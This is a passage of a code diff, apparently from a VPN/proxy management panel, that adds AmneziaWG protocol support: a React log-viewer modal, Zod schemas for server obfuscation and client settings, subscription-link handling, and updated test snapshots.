+        header: `Peer ${idx + 1} config`,
+        value: cfg,
+        downloadName: `peer-${idx + 1}.conf`,
+      });
+      if (amneziawgLinks[idx]) {
+        items.push({
+          key: `al${idx}`,
+          header: `Peer ${idx + 1} link`,
+          value: amneziawgLinks[idx],
+          showQr: false,
+        });
+      }
+    });
     return items;
     return items;
-  }, [subLink, subJsonLink, links, wireguardConfigs, wireguardLinks, t]);
+  }, [
+    subLink,
+    subJsonLink,
+    links,
+    wireguardConfigs,
+    wireguardLinks,
+    amneziawgConfigs,
+    amneziawgLinks,
+    t,
+  ]);
 
 
   const collapseItems: CollapseProps['items'] = useMemo(
   const collapseItems: CollapseProps['items'] = useMemo(
     () =>
     () =>

+ 1 - 0
frontend/src/pages/inbounds/useInbounds.ts

@@ -66,6 +66,7 @@ const TRACKED_PROTOCOLS: readonly string[] = [
   Protocols.HYSTERIA,
   Protocols.HYSTERIA,
   Protocols.WIREGUARD,
   Protocols.WIREGUARD,
   Protocols.MTPROTO,
   Protocols.MTPROTO,
+  Protocols.AMNEZIAWG,
 ];
 ];
 
 
 async function fetchSlimInbounds(): Promise<unknown[]> {
 async function fetchSlimInbounds(): Promise<unknown[]> {

+ 17 - 0
frontend/src/pages/index/AmneziaWGLogModal.css

@@ -0,0 +1,17 @@
+.awglog-events-title {
+  margin-top: 14px;
+  font-size: 12px;
+  font-weight: 600;
+  opacity: 0.7;
+  text-transform: uppercase;
+  letter-spacing: 0.04em;
+}
+
+.awglog-event-line {
+  padding: 2px 0;
+  word-break: break-word;
+}
+
+.xraylog-table .log-row-offline {
+  opacity: 0.6;
+}

+ 254 - 0
frontend/src/pages/index/AmneziaWGLogModal.tsx

@@ -0,0 +1,254 @@
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
+import { useTranslation } from 'react-i18next';
+import { Button, Checkbox, Empty, Form, Input, Modal, Select, Tag } from 'antd';
+import { DownloadOutlined, SyncOutlined } from '@ant-design/icons';
+
+import { HttpUtil, FileManager, IntlUtil, PromiseUtil, SizeFormatter } from '@/utils';
+import { activateOnKey } from '@/utils/a11y';
+import { useDatepicker } from '@/hooks/useDatepicker';
+import { useMediaQuery } from '@/hooks/useMediaQuery';
+import type { AmneziaWGLogs } from '@/generated/types';
+import './XrayLogModal.css';
+import './AmneziaWGLogModal.css';
+
+interface AmneziaWGLogModalProps {
+  open: boolean;
+  onClose: () => void;
+}
+
+const AUTO_UPDATE_INTERVAL = 5000;
+
+function shortTime(value?: number): string {
+  if (!value) return '';
+  const d = new Date(value);
+  if (isNaN(d.getTime())) return '';
+  const hh = String(d.getHours()).padStart(2, '0');
+  const mm = String(d.getMinutes()).padStart(2, '0');
+  const ss = String(d.getSeconds()).padStart(2, '0');
+  return `${hh}:${mm}:${ss}`;
+}
+
+export default function AmneziaWGLogModal({ open, onClose }: AmneziaWGLogModalProps) {
+  const { t } = useTranslation();
+  const { datepicker } = useDatepicker();
+  const { isMobile } = useMediaQuery();
+  const [rows, setRows] = useState('50');
+  const [filter, setFilter] = useState('');
+  const [autoUpdate, setAutoUpdate] = useState(false);
+  const [loading, setLoading] = useState(false);
+  const [logs, setLogs] = useState<Partial<AmneziaWGLogs>>({});
+
+  const peers = useMemo(() => logs.peers ?? [], [logs.peers]);
+  const events = useMemo(() => logs.events ?? [], [logs.events]);
+
+  const runRefresh = useCallback(async () => {
+    try {
+      const msg = await HttpUtil.post<AmneziaWGLogs>(`/panel/api/server/amneziawglogs/${rows}`, {
+        filter,
+      });
+      if (msg?.success) setLogs(msg.obj || {});
+      await PromiseUtil.sleep(300);
+    } finally {
+      setLoading(false);
+    }
+  }, [rows, filter]);
+
+  const refresh = useCallback(() => {
+    setLoading(true);
+    void runRefresh();
+  }, [runRefresh]);
+
+  const refreshRef = useRef(refresh);
+  useEffect(() => {
+    refreshRef.current = refresh;
+  });
+
+  // The spinner is raised during render so the fetch effect stays side-effect
+  // free until its response lands.
+  const refreshKey = open ? `${rows}|${filter}` : null;
+  const [loadingKey, setLoadingKey] = useState<string | null>(null);
+  if (refreshKey !== loadingKey) {
+    setLoadingKey(refreshKey);
+    if (refreshKey) setLoading(true);
+  }
+
+  useEffect(() => {
+    if (open) void runRefresh();
+  }, [open, rows, filter, runRefresh]);
+
+  useEffect(() => {
+    if (!open || !autoUpdate) return;
+    const id = setInterval(() => refreshRef.current(), AUTO_UPDATE_INTERVAL);
+    return () => clearInterval(id);
+  }, [open, autoUpdate]);
+
+  function fullDate(value?: number): string {
+    return value ? IntlUtil.formatDate(value, datepicker) : '';
+  }
+
+  function download() {
+    const peerLines = peers.map((p) => {
+      const at = p.handshake ? new Date(p.handshake).toISOString() : 'never';
+      return `${at} IFACE=${p.interface || ''} INBOUND=${p.tag || ''} EMAIL=${p.email || ''} ENDPOINT=${p.endpoint || '-'} ALLOWEDIPS=${p.allowedIPs || ''} UP=${p.up ?? 0} DOWN=${p.down ?? 0} ONLINE=${p.online ? 'yes' : 'no'}`;
+    });
+    FileManager.downloadTextFile([...peerLines, '', ...events].join('\n'), 'amneziawg.log');
+  }
+
+  return (
+    <Modal
+      open={open}
+      footer={null}
+      width={isMobile ? '100vw' : '80vw'}
+      style={isMobile ? { top: 0, paddingBottom: 0, maxWidth: '100vw' } : undefined}
+      className={isMobile ? 'xraylog-modal-mobile' : undefined}
+      onCancel={onClose}
+      title={
+        <>
+          {t('pages.index.amneziawgLogs')}
+          <SyncOutlined
+            spin={loading}
+            className="reload-icon"
+            role="button"
+            tabIndex={0}
+            aria-label={t('refresh')}
+            onClick={refresh}
+            onKeyDown={activateOnKey(refresh)}
+          />
+        </>
+      }
+    >
+      <Form layout="inline" className="log-toolbar">
+        <Form.Item>
+          <Select
+            value={rows}
+            size="small"
+            style={{ width: 70 }}
+            onChange={setRows}
+            options={[
+              { value: '20', label: '20' },
+              { value: '50', label: '50' },
+              { value: '100', label: '100' },
+              { value: '500', label: '500' },
+            ]}
+          />
+        </Form.Item>
+        <Form.Item label={t('filter')} className="filter-item">
+          <Input
+            value={filter}
+            size="small"
+            onChange={(e) => setFilter(e.target.value)}
+            onKeyUp={(e) => {
+              if (e.key === 'Enter') refresh();
+            }}
+          />
+        </Form.Item>
+        <Form.Item>
+          <Checkbox checked={autoUpdate} onChange={(e) => setAutoUpdate(e.target.checked)}>
+            {t('pages.index.autoUpdate')}
+          </Checkbox>
+        </Form.Item>
+        <Form.Item className="download-item">
+          <Button
+            type="primary"
+            onClick={download}
+            icon={<DownloadOutlined />}
+            aria-label={t('download')}
+          />
+        </Form.Item>
+      </Form>
+
+      <div className={`log-container ${isMobile ? 'log-container-mobile' : ''}`}>
+        {peers.length === 0 ? (
+          <div className="log-empty">
+            <Empty
+              image={Empty.PRESENTED_IMAGE_SIMPLE}
+              description={t('pages.index.amneziawgNoPeers')}
+            />
+          </div>
+        ) : isMobile ? (
+          peers.map((peer, idx) => (
+            <div key={idx} className="log-card">
+              <div className="log-card-head">
+                <span className="log-time" title={fullDate(peer.handshake)}>
+                  {shortTime(peer.handshake) || '—'}
+                </span>
+                <Tag color={peer.online ? 'green' : 'default'} className="log-event-tag">
+                  {peer.online ? t('online') : t('pages.index.amneziawgIdle')}
+                </Tag>
+              </div>
+              <div className="log-route">
+                <span className="log-addr">{peer.endpoint || '—'}</span>
+                <span className="log-arrow">→</span>
+                <span className="log-addr">{peer.allowedIPs}</span>
+              </div>
+              <div className="log-meta">
+                <span className="log-meta-pair">
+                  <span className="log-meta-key">iface</span>
+                  <span className="log-meta-val">{peer.interface}</span>
+                </span>
+                <span className="log-meta-pair">
+                  <span className="log-meta-key">inbound</span>
+                  <span className="log-meta-val">{peer.tag}</span>
+                </span>
+                {peer.email && (
+                  <span className="log-meta-pair">
+                    <span className="log-meta-key">email</span>
+                    <span className="log-meta-val">{peer.email}</span>
+                  </span>
+                )}
+                <span className="log-meta-pair">
+                  <span className="log-meta-key">↑↓</span>
+                  <span className="log-meta-val">
+                    {`${SizeFormatter.sizeFormat(peer.up ?? 0)} / ${SizeFormatter.sizeFormat(peer.down ?? 0)}`}
+                  </span>
+                </span>
+              </div>
+            </div>
+          ))
+        ) : (
+          <table className="xraylog-table">
+            <thead>
+              <tr>
+                <th>{t('pages.index.amneziawgHandshake')}</th>
+                <th>{t('pages.index.amneziawgInterface')}</th>
+                <th>{t('pages.index.amneziawgInbound')}</th>
+                <th>Email</th>
+                <th>{t('pages.index.amneziawgEndpoint')}</th>
+                <th>{t('pages.clients.amneziaWgAllowedIPs')}</th>
+                <th>↑ / ↓</th>
+              </tr>
+            </thead>
+            <tbody>
+              {peers.map((peer, idx) => (
+                <tr key={idx} className={peer.online ? undefined : 'log-row-offline'}>
+                  <td>
+                    <b>{fullDate(peer.handshake) || '—'}</b>
+                  </td>
+                  <td>{peer.interface}</td>
+                  <td>{peer.tag}</td>
+                  <td>{peer.email}</td>
+                  <td>{peer.endpoint || '—'}</td>
+                  <td>{peer.allowedIPs}</td>
+                  <td>{`${SizeFormatter.sizeFormat(peer.up ?? 0)} / ${SizeFormatter.sizeFormat(peer.down ?? 0)}`}</td>
+                </tr>
+              ))}
+            </tbody>
+          </table>
+        )}
+      </div>
+
+      <div className="awglog-events-title">{t('pages.index.amneziawgEvents')}</div>
+      <div className={`log-container ${isMobile ? 'log-container-mobile' : ''}`}>
+        {events.length === 0 ? (
+          <div className="log-empty">{t('pages.index.amneziawgNoEvents')}</div>
+        ) : (
+          events.map((line, idx) => (
+            <div key={idx} className="awglog-event-line">
+              {line}
+            </div>
+          ))
+        )}
+      </div>
+    </Modal>
+  );
+}

+ 6 - 0
frontend/src/pages/index/IndexPage.tsx

@@ -37,6 +37,7 @@ const BackupModal = lazy(() => import('./BackupModal'));
 const SystemHistoryModal = lazy(() => import('./SystemHistoryModal'));
 const SystemHistoryModal = lazy(() => import('./SystemHistoryModal'));
 const XrayMetricsModal = lazy(() => import('./XrayMetricsModal'));
 const XrayMetricsModal = lazy(() => import('./XrayMetricsModal'));
 const XrayLogModal = lazy(() => import('./XrayLogModal'));
 const XrayLogModal = lazy(() => import('./XrayLogModal'));
+const AmneziaWGLogModal = lazy(() => import('./AmneziaWGLogModal'));
 const VersionModal = lazy(() => import('./VersionModal'));
 const VersionModal = lazy(() => import('./VersionModal'));
 import './IndexPage.css';
 import './IndexPage.css';
 
 
@@ -67,6 +68,7 @@ export default function IndexPage() {
   const [sysHistoryOpen, setSysHistoryOpen] = useState(false);
   const [sysHistoryOpen, setSysHistoryOpen] = useState(false);
   const [xrayMetricsOpen, setXrayMetricsOpen] = useState(false);
   const [xrayMetricsOpen, setXrayMetricsOpen] = useState(false);
   const [xrayLogsOpen, setXrayLogsOpen] = useState(false);
   const [xrayLogsOpen, setXrayLogsOpen] = useState(false);
+  const [amneziawgLogsOpen, setAmneziawgLogsOpen] = useState(false);
   const [versionOpen, setVersionOpen] = useState(false);
   const [versionOpen, setVersionOpen] = useState(false);
   const [configTextOpen, setConfigTextOpen] = useState(false);
   const [configTextOpen, setConfigTextOpen] = useState(false);
   const [configText, setConfigText] = useState('');
   const [configText, setConfigText] = useState('');
@@ -202,6 +204,7 @@ export default function IndexPage() {
                     onRestartXray={restartXray}
                     onRestartXray={restartXray}
                     onOpenLogs={() => setLogsOpen(true)}
                     onOpenLogs={() => setLogsOpen(true)}
                     onOpenXrayLogs={() => setXrayLogsOpen(true)}
                     onOpenXrayLogs={() => setXrayLogsOpen(true)}
+                    onOpenAmneziaWGLogs={() => setAmneziawgLogsOpen(true)}
                     onOpenConfig={openConfig}
                     onOpenConfig={openConfig}
                     onOpenBackup={() => setBackupOpen(true)}
                     onOpenBackup={() => setBackupOpen(true)}
                     onOpenSystemHistory={() => setSysHistoryOpen(true)}
                     onOpenSystemHistory={() => setSysHistoryOpen(true)}
@@ -328,6 +331,9 @@ export default function IndexPage() {
         <LazyMount when={xrayLogsOpen}>
         <LazyMount when={xrayLogsOpen}>
           <XrayLogModal open={xrayLogsOpen} onClose={() => setXrayLogsOpen(false)} />
           <XrayLogModal open={xrayLogsOpen} onClose={() => setXrayLogsOpen(false)} />
         </LazyMount>
         </LazyMount>
+        <LazyMount when={amneziawgLogsOpen}>
+          <AmneziaWGLogModal open={amneziawgLogsOpen} onClose={() => setAmneziawgLogsOpen(false)} />
+        </LazyMount>
         <LazyMount when={versionOpen}>
         <LazyMount when={versionOpen}>
           <VersionModal
           <VersionModal
             open={versionOpen}
             open={versionOpen}

+ 13 - 0
frontend/src/pages/index/OverviewActionBar.tsx

@@ -3,6 +3,7 @@ import type { ReactNode } from 'react';
 import { useTranslation } from 'react-i18next';
 import { useTranslation } from 'react-i18next';
 import { Button, Tag, Tooltip } from 'antd';
 import { Button, Tag, Tooltip } from 'antd';
 import {
 import {
+  ApiOutlined,
   ArrowUpOutlined,
   ArrowUpOutlined,
   AreaChartOutlined,
   AreaChartOutlined,
   BarsOutlined,
   BarsOutlined,
@@ -28,6 +29,7 @@ interface OverviewActionBarProps {
   onRestartXray: () => void;
   onRestartXray: () => void;
   onOpenLogs: () => void;
   onOpenLogs: () => void;
   onOpenXrayLogs: () => void;
   onOpenXrayLogs: () => void;
+  onOpenAmneziaWGLogs: () => void;
   onOpenConfig: () => void;
   onOpenConfig: () => void;
   onOpenBackup: () => void;
   onOpenBackup: () => void;
   onOpenSystemHistory: () => void;
   onOpenSystemHistory: () => void;
@@ -61,6 +63,7 @@ export default function OverviewActionBar({
   onRestartXray,
   onRestartXray,
   onOpenLogs,
   onOpenLogs,
   onOpenXrayLogs,
   onOpenXrayLogs,
+  onOpenAmneziaWGLogs,
   onOpenConfig,
   onOpenConfig,
   onOpenBackup,
   onOpenBackup,
   onOpenSystemHistory,
   onOpenSystemHistory,
@@ -101,6 +104,16 @@ export default function OverviewActionBar({
             },
             },
           ]
           ]
         : []),
         : []),
+      ...(status.amneziawg.configured
+        ? [
+            {
+              key: 'amneziawgLogs',
+              icon: <ApiOutlined />,
+              text: t('pages.index.amneziawgLogs'),
+              onClick: onOpenAmneziaWGLogs,
+            },
+          ]
+        : []),
       {
       {
         key: 'config',
         key: 'config',
         icon: <ControlOutlined />,
         icon: <ControlOutlined />,

+ 15 - 1
frontend/src/pages/sub/SubPage.tsx

@@ -33,7 +33,11 @@ import {
 } from '@ant-design/icons';
 } from '@ant-design/icons';
 
 
 import { ClipboardManager, IntlUtil, LanguageManager } from '@/utils';
 import { ClipboardManager, IntlUtil, LanguageManager } from '@/utils';
-import { isPostQuantumLink, wireguardConfigFromLink } from '@/lib/xray/inbound-link';
+import {
+  amneziawgConfigFromLink,
+  isPostQuantumLink,
+  wireguardConfigFromLink,
+} from '@/lib/xray/inbound-link';
 import { LinkTags, parseLinkParts } from '@/lib/xray/link-label';
 import { LinkTags, parseLinkParts } from '@/lib/xray/link-label';
 import ConfigBlock from '@/components/clients/ConfigBlock';
 import ConfigBlock from '@/components/clients/ConfigBlock';
 import { setMessageInstance } from '@/utils/messageBus';
 import { setMessageInstance } from '@/utils/messageBus';
@@ -533,6 +537,7 @@ export default function SubPage() {
                         const canQr = !isPostQuantumLink(link);
                         const canQr = !isPostQuantumLink(link);
                         const isWireguardLink =
                         const isWireguardLink =
                           link.startsWith('wireguard://') || link.startsWith('wg://');
                           link.startsWith('wireguard://') || link.startsWith('wg://');
+                        const isAmneziawgLink = link.startsWith('vpn://');
                         return (
                         return (
                           <Fragment key={link}>
                           <Fragment key={link}>
                             <div className="sub-link-row">
                             <div className="sub-link-row">
@@ -590,6 +595,15 @@ export default function SubPage() {
                                 tagColor="cyan"
                                 tagColor="cyan"
                               />
                               />
                             )}
                             )}
+                            {isAmneziawgLink && (
+                              <ConfigBlock
+                                label={t('pages.clients.amneziaWgConfig')}
+                                text={amneziawgConfigFromLink(link)}
+                                fileName={`${rowTitle || 'peer'}.conf`}
+                                qrRemark={rowTitle}
+                                tagColor="purple"
+                              />
+                            )}
                           </Fragment>
                           </Fragment>
                         );
                         );
                       })}
                       })}

+ 1 - 1
frontend/src/schemas/api/inbound.ts

@@ -7,7 +7,7 @@ import { NetworkSettingsSchema, StreamExtrasSchema } from '@/schemas/protocols/s
 
 
 // Top-level inbound shape on the wire. Composes:
 // Top-level inbound shape on the wire. Composes:
 //   - Per-protocol settings via the InboundSettingsSchema discriminated
 //   - Per-protocol settings via the InboundSettingsSchema discriminated
-//     union (10 protocols, tagged-wrapper {protocol, settings}).
+//     union (11 protocols, tagged-wrapper {protocol, settings}).
 //   - StreamSettings as an intersection of the network DU (6 branches),
 //   - StreamSettings as an intersection of the network DU (6 branches),
 //     security DU (3 branches), and the orthogonal extras (finalmask,
 //     security DU (3 branches), and the orthogonal extras (finalmask,
 //     sockopt, externalProxy). Zod 4 supports DU intersection — each
 //     sockopt, externalProxy). Zod 4 supports DU intersection — each

+ 50 - 0
frontend/src/schemas/client.ts

@@ -52,6 +52,7 @@ export const ClientRecordSchema = z
     allowedIPs: z.string().optional(),
     allowedIPs: z.string().optional(),
     preSharedKey: z.string().optional(),
     preSharedKey: z.string().optional(),
     keepAlive: z.number().optional(),
     keepAlive: z.number().optional(),
+    forwardedPorts: z.string().optional(),
     secret: z.string().optional(),
     secret: z.string().optional(),
     adTag: z.string().optional(),
     adTag: z.string().optional(),
     createdAt: z.number().optional(),
     createdAt: z.number().optional(),
@@ -59,6 +60,47 @@ export const ClientRecordSchema = z
   })
   })
   .loose();
   .loose();
 
 
+// AmneziaWG's server block, used by the clients page to render a
+// downloadable per-client .conf without a second round trip. Unlike
+// WireGuard's flattened wgPublicKey/wgMtu/wgDns below, this stays a nested
+// object — AmneziaWG has many more fields (the obfuscation parameter set) and
+// buildAmneziaWGClientConfig (pages/clients/amneziawgConfig.ts) already
+// expects this exact nested shape. Mirrors the backend's
+// InboundOption.AwgServer (internal/web/service/inbound.go).
+export const AwgServerOptionSchema = z
+  .object({
+    publicKey: z.string().optional(),
+    mtu: z.number().optional(),
+    primaryDns: z.string().optional(),
+    secondaryDns: z.string().optional(),
+    jc: z.number().optional(),
+    jmin: z.number().optional(),
+    jmax: z.number().optional(),
+    s1: z.number().optional(),
+    s2: z.number().optional(),
+    s3: z.number().optional(),
+    s4: z.number().optional(),
+    h1: z.string().optional(),
+    h2: z.string().optional(),
+    h3: z.string().optional(),
+    h4: z.string().optional(),
+    i1: z.string().optional(),
+    i2: z.string().optional(),
+    i3: z.string().optional(),
+    i4: z.string().optional(),
+    i5: z.string().optional(),
+    headerProtectionKey: z.string().optional(),
+    contentPaddingAddition: z.string().optional(),
+    rekeyAfterTime: z.string().optional(),
+    rekeyTimeout: z.string().optional(),
+    rejectAfterTime: z.string().optional(),
+    keepaliveTimeout: z.string().optional(),
+    maxHandshakeAttempts: z.string().optional(),
+    randomTrailers: z.boolean().optional(),
+    disableCookies: z.boolean().optional(),
+  })
+  .loose();
+
 export const InboundOptionSchema = z
 export const InboundOptionSchema = z
   .object({
   .object({
     id: z.number(),
     id: z.number(),
@@ -71,6 +113,7 @@ export const InboundOptionSchema = z
     wgPublicKey: z.string().optional(),
     wgPublicKey: z.string().optional(),
     wgMtu: z.number().optional(),
     wgMtu: z.number().optional(),
     wgDns: z.string().optional(),
     wgDns: z.string().optional(),
+    awgServer: AwgServerOptionSchema.nullable().optional(),
     mtprotoDomain: z.string().optional(),
     mtprotoDomain: z.string().optional(),
     // Hosting node id; absent/null for this panel's own inbounds (#4997).
     // Hosting node id; absent/null for this panel's own inbounds (#4997).
     nodeId: z.number().nullable().optional(),
     nodeId: z.number().nullable().optional(),
@@ -137,10 +180,17 @@ export const ExternalLinkListSchema = z
   .nullable()
   .nullable()
   .transform((v) => v ?? []);
   .transform((v) => v ?? []);
 
 
+// tunnelAllowedIPs carries the real, per-inbound AllowedIPs value (keyed by
+// inbound id) for every WireGuard/AmneziaWG inbound this client is attached
+// to. ClientRecord's own allowedIPs is a single string and cannot represent
+// two different addresses when one identity holds both a WireGuard and an
+// AmneziaWG attachment at once -- this is what lets the edit form show each
+// protocol's real, distinct address instead of one ambiguous shared field.
 export const ClientHydrateSchema = z.object({
 export const ClientHydrateSchema = z.object({
   client: ClientRecordSchema,
   client: ClientRecordSchema,
   inboundIds: nullableNumberArray,
   inboundIds: nullableNumberArray,
   externalLinks: ExternalLinkListSchema.optional(),
   externalLinks: ExternalLinkListSchema.optional(),
+  tunnelAllowedIPs: z.record(z.number().int(), z.string()).optional(),
 });
 });
 
 
 export const BulkAdjustResultSchema = z.object({
 export const BulkAdjustResultSchema = z.object({

+ 2 - 0
frontend/src/schemas/primitives/protocol.ts

@@ -12,6 +12,7 @@ export const ProtocolSchema = z.enum([
   'tunnel',
   'tunnel',
   'tun',
   'tun',
   'mtproto',
   'mtproto',
+  'amneziawg',
 ]);
 ]);
 export type Protocol = z.infer<typeof ProtocolSchema>;
 export type Protocol = z.infer<typeof ProtocolSchema>;
 
 
@@ -33,4 +34,5 @@ export const Protocols = Object.freeze({
   TUNNEL: 'tunnel',
   TUNNEL: 'tunnel',
   TUN: 'tun',
   TUN: 'tun',
   MTPROTO: 'mtproto',
   MTPROTO: 'mtproto',
+  AMNEZIAWG: 'amneziawg',
 });
 });

+ 101 - 0
frontend/src/schemas/protocols/inbound/amneziawg.ts

@@ -0,0 +1,101 @@
+import { z } from 'zod';
+
+// AntD InputNumber emits null (not undefined) when the user clears it, and
+// the form store hands that null straight to safeParse on submit — a bare
+// .optional() would reject it and block the save.
+const optionalClearedInt = (schema: z.ZodNumber) =>
+  z.preprocess((v) => (v == null ? undefined : v), schema.optional());
+
+// Same null-absorbing preprocess for fields that keep a schema default:
+// clearing the InputNumber refills the default instead of blocking the save.
+const clearedToDefault = <T extends z.ZodTypeAny>(schema: T) =>
+  z.preprocess((v) => (v == null ? undefined : v), schema);
+
+// An AmneziaWG client (multi-client model). Same key/address fields as
+// WireguardClientSchema — the panel's generic ClientRecord already has those
+// exact keys (privateKey/publicKey/preSharedKey/allowedIPs/keepAlive), so
+// bulk operations, the QR modal and subscriptions all work unmodified — plus
+// one AmneziaWG-only addition, forwardedPorts (WireGuard's Xray-native
+// inbound has no host-level iptables layer to hang per-client DNAT off of).
+// Keys are optional on the wire — the backend generates them when absent.
+export const AmneziawgClientSchema = z.object({
+  privateKey: z.string().optional(),
+  publicKey: z.string().optional(),
+  preSharedKey: z.string().optional(),
+  allowedIPs: z.array(z.string()).default([]),
+  keepAlive: optionalClearedInt(z.number().int().min(0)),
+  forwardedPorts: z.string().default(''),
+  email: z.string().min(1),
+  limitIp: z.number().int().min(0).default(0),
+  totalGB: z.number().int().min(0).default(0),
+  expiryTime: z.number().int().default(0),
+  enable: z.boolean().default(true),
+  tgId: z
+    .union([z.number(), z.string()])
+    .transform((v) => Number(v) || 0)
+    .default(0),
+  subId: z.string().default(''),
+  comment: z.string().default(''),
+  reset: z.number().int().min(0).default(0),
+  created_at: z.number().int().optional(),
+  updated_at: z.number().int().optional(),
+});
+export type AmneziawgClient = z.infer<typeof AmneziawgClientSchema>;
+
+// Server-wide AmneziaWG 3.1 obfuscation parameters and tunnel identity,
+// mirroring internal/amneziawg.ServerSettings on the Go side exactly (same
+// field names) — the listen port is not duplicated here, it's the inbound's
+// own port like every other protocol. H1-H4 blank falls back to the classic
+// 1/2/3/4 magic header on save; blank optional fields omit their feature
+// from the rendered config.
+export const AmneziawgServerSchema = z.object({
+  privateKey: z.string().optional(),
+  publicKey: z.string().optional(),
+  subnetIp: z.string().default('10.8.1.0'),
+  subnetCidr: clearedToDefault(z.number().int().min(1).max(32).default(24)),
+  mtu: optionalClearedInt(z.number().int().min(1)),
+  primaryDns: z.string().default('8.8.8.8'),
+  secondaryDns: z.string().default('8.8.4.4'),
+  externalInterface: z.string().default(''),
+  ipv6Enabled: z.boolean().default(false),
+  ipv6Subnet: z.string().default(''),
+  ipv6ExternalInterface: z.string().default(''),
+  // routeThroughXray is vestigial on the Go side (see ServerSettings' own
+  // doc comment) -- the embedded relay is always on, this field is read by
+  // nothing. Kept here anyway, with no corresponding form control, purely so
+  // z.object's default unknown-key stripping doesn't silently drop it from
+  // an existing stored settings blob on the next save.
+  routeThroughXray: z.boolean().default(false).optional(),
+  jc: clearedToDefault(z.number().int().min(0).default(5)),
+  jmin: clearedToDefault(z.number().int().min(0).default(10)),
+  jmax: clearedToDefault(z.number().int().min(0).default(50)),
+  s1: clearedToDefault(z.number().int().min(0).default(30)),
+  s2: clearedToDefault(z.number().int().min(0).default(45)),
+  s3: clearedToDefault(z.number().int().min(0).max(64).default(10)),
+  s4: clearedToDefault(z.number().int().min(0).max(32).default(5)),
+  h1: z.string().default(''),
+  h2: z.string().default(''),
+  h3: z.string().default(''),
+  h4: z.string().default(''),
+  i1: z.string().default(''),
+  i2: z.string().default(''),
+  i3: z.string().default(''),
+  i4: z.string().default(''),
+  i5: z.string().default(''),
+  headerProtectionKey: z.string().default(''),
+  contentPaddingAddition: z.string().default(''),
+  rekeyAfterTime: z.string().default(''),
+  rekeyTimeout: z.string().default(''),
+  rejectAfterTime: z.string().default(''),
+  keepaliveTimeout: z.string().default(''),
+  maxHandshakeAttempts: z.string().default(''),
+  randomTrailers: z.boolean().default(false),
+  disableCookies: z.boolean().default(false),
+});
+export type AmneziawgServer = z.infer<typeof AmneziawgServerSchema>;
+
+export const AmneziawgInboundSettingsSchema = z.object({
+  server: AmneziawgServerSchema,
+  clients: z.array(AmneziawgClientSchema).default([]),
+});
+export type AmneziawgInboundSettings = z.infer<typeof AmneziawgInboundSettingsSchema>;

+ 3 - 0
frontend/src/schemas/protocols/inbound/index.ts

@@ -1,5 +1,6 @@
 import { z } from 'zod';
 import { z } from 'zod';
 
 
+import { AmneziawgInboundSettingsSchema } from './amneziawg';
 import { HttpInboundSettingsSchema } from './http';
 import { HttpInboundSettingsSchema } from './http';
 import { HysteriaInboundSettingsSchema } from './hysteria';
 import { HysteriaInboundSettingsSchema } from './hysteria';
 import { MixedInboundSettingsSchema } from './mixed';
 import { MixedInboundSettingsSchema } from './mixed';
@@ -12,6 +13,7 @@ import { VlessInboundSettingsSchema } from './vless';
 import { VmessInboundSettingsSchema } from './vmess';
 import { VmessInboundSettingsSchema } from './vmess';
 import { WireguardInboundSettingsSchema } from './wireguard';
 import { WireguardInboundSettingsSchema } from './wireguard';
 
 
+export * from './amneziawg';
 export * from './http';
 export * from './http';
 export * from './hysteria';
 export * from './hysteria';
 export * from './mixed';
 export * from './mixed';
@@ -41,5 +43,6 @@ export const InboundSettingsSchema = z.discriminatedUnion('protocol', [
   z.object({ protocol: z.literal('tunnel'), settings: TunnelInboundSettingsSchema }),
   z.object({ protocol: z.literal('tunnel'), settings: TunnelInboundSettingsSchema }),
   z.object({ protocol: z.literal('tun'), settings: TunInboundSettingsSchema }),
   z.object({ protocol: z.literal('tun'), settings: TunInboundSettingsSchema }),
   z.object({ protocol: z.literal('mtproto'), settings: MtprotoInboundSettingsSchema }),
   z.object({ protocol: z.literal('mtproto'), settings: MtprotoInboundSettingsSchema }),
+  z.object({ protocol: z.literal('amneziawg'), settings: AmneziawgInboundSettingsSchema }),
 ]);
 ]);
 export type InboundSettings = z.infer<typeof InboundSettingsSchema>;
 export type InboundSettings = z.infer<typeof InboundSettingsSchema>;

+ 7 - 0
frontend/src/schemas/protocols/inbound/wireguard.ts

@@ -69,5 +69,12 @@ export const WireguardInboundSettingsSchema = z.object({
   clients: z.array(WireguardClientSchema).default([]),
   clients: z.array(WireguardClientSchema).default([]),
   noKernelTun: z.boolean().default(false),
   noKernelTun: z.boolean().default(false),
   domainStrategy: WireguardDomainStrategySchema.optional(),
   domainStrategy: WireguardDomainStrategySchema.optional(),
+  // Admin-configurable base subnet new clients are auto-allocated from —
+  // mirrors AmneziaWG's settings.server.subnetIp/subnetCidr. Optional and
+  // left blank by default: an inbound that never sets this keeps the
+  // pre-existing behavior (infer from existing clients' own addresses, else
+  // fall back to 10.0.0.0/24 server-side).
+  subnetIp: z.string().default(''),
+  subnetCidr: optionalClearedInt(z.number().int().min(1).max(32)),
 });
 });
 export type WireguardInboundSettings = z.infer<typeof WireguardInboundSettingsSchema>;
 export type WireguardInboundSettings = z.infer<typeof WireguardInboundSettingsSchema>;

+ 2 - 0
frontend/src/test/__snapshots__/inbound-defaults.test.ts.snap

@@ -54,6 +54,8 @@ exports[`createDefault*InboundSettings factories > wireguard 1`] = `
   "noKernelTun": false,
   "noKernelTun": false,
   "peers": [],
   "peers": [],
   "secretKey": "QGVlb2dXc1ZTWGw0ZXBzZndsWmtMaUM5MUlNYjBHWFdYbz0=",
   "secretKey": "QGVlb2dXc1ZTWGw0ZXBzZndsWmtMaUM5MUlNYjBHWFdYbz0=",
+  "subnetCidr": 24,
+  "subnetIp": "10.0.0.0",
 }
 }
 `;
 `;
 
 

+ 1 - 0
frontend/src/test/__snapshots__/inbound-full.test.ts.snap

@@ -622,6 +622,7 @@ exports[`InboundSchema (full) fixtures > parses wireguard-server byte-stably 1`]
       },
       },
     ],
     ],
     "secretKey": "iJ2cBkrSGqRwIfYIDIxk7hr5RXfdR93MfJUL7yqkkH8=",
     "secretKey": "iJ2cBkrSGqRwIfYIDIxk7hr5RXfdR93MfJUL7yqkkH8=",
+    "subnetIp": "",
   },
   },
   "shareAddr": "",
   "shareAddr": "",
   "shareAddrStrategy": "node",
   "shareAddrStrategy": "node",

+ 1 - 0
frontend/src/test/__snapshots__/protocols.test.ts.snap

@@ -248,6 +248,7 @@ exports[`InboundSettingsSchema fixtures > parses wireguard-basic byte-stably 1`]
       },
       },
     ],
     ],
     "secretKey": "QGVlb2dXc1ZTWGw0ZXBzZndsWmtMaUM5MUlNYjBHWFdYbz0=",
     "secretKey": "QGVlb2dXc1ZTWGw0ZXBzZndsWmtMaUM5MUlNYjBHWFdYbz0=",
+    "subnetIp": "",
   },
   },
 }
